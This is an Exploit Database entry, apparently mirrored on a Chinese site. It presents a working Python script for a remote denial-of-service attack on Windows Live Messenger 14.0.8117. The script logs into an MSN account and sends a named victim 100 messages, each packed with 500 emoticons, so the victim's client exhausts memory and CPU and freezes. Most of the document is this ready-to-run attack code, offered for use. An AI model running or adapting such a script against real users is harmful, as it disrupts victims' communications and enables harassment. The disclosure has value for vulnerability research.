Microsoft Windows Live Messenger 14.0.8117 – Animation Remote Denial of Service

• Exploit Database
• 62 阅读

• 作者： TheLeader
  日期： 2010-08-11
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14613/

• # Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service
  # Date: 11/08/2010
  # Author: TheLeader
  # Email: gsog2009 [a7] hotmail [d0t] com
  # Software Link: http://explore.live.com/windows-live-messenger
  # Version: 14.0.8117 and prior
  # Tested on: Windows 7 x86
  
  # msnlib required: http://blitiri.com.ar/p/msnlib/
  # Greets: forums.hacking.org.il - <3UGUYS
  # SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for
  #the msnlib library / Original msnbot example (that I modded =] )
  
  # Description:
  # Windows Live Messenger is prone to a Denial of Service attack. By sending
  # specially crafted messages that contain a large number of animations ("Smileys"),
  # it is possible to make WLM consume large amounts of memory and CPU while 
  # it attempts to render the animated images, causing it to stop responding.
  
  import sys
  import time
  import select
  import socket
  import thread
  import msnlib
  import msncb
  
  payload = ":'(" * 500
  
  m = msnlib.msnd()
  m.cb = msncb.cb()
  
  def do_work():
  	time.sleep(15)
  	
  	for i in range(100):
  		print m.sendmsg(victim, payload)
  	
  	time.sleep(30)
  	quit()
  
  
  try:
  	m.email = sys.argv[1]
  	m.pwd = sys.argv[2]
  	victim = sys.argv[3]
  except:
  	print "Usage: msnkeep.py account password victim_account"
  	sys.exit(1)
  
  m.login()
  m.sync()
  
  m.change_status("online")
  
  def quit():
  	try:
  		m.disconnect()
  	except:
  		pass
  	sys.exit(0)
  
  thread.start_new_thread(do_work, ())
  
  while 1:
  	t = m.pollable()
  	infd = t[0]
  	outfd = t[1]
  
  	try:
  		fds = select.select(infd, outfd, [], 0)
  	except:
  		quit()
  	
  	for i in fds[0] + fds[1]:
  		try:
  			m.read(i)
  		except ('SocketError', socket.error), err:
  			if i != m:
  				m.close(i)
  			else:
  				quit()
  
  	time.sleep(0.01)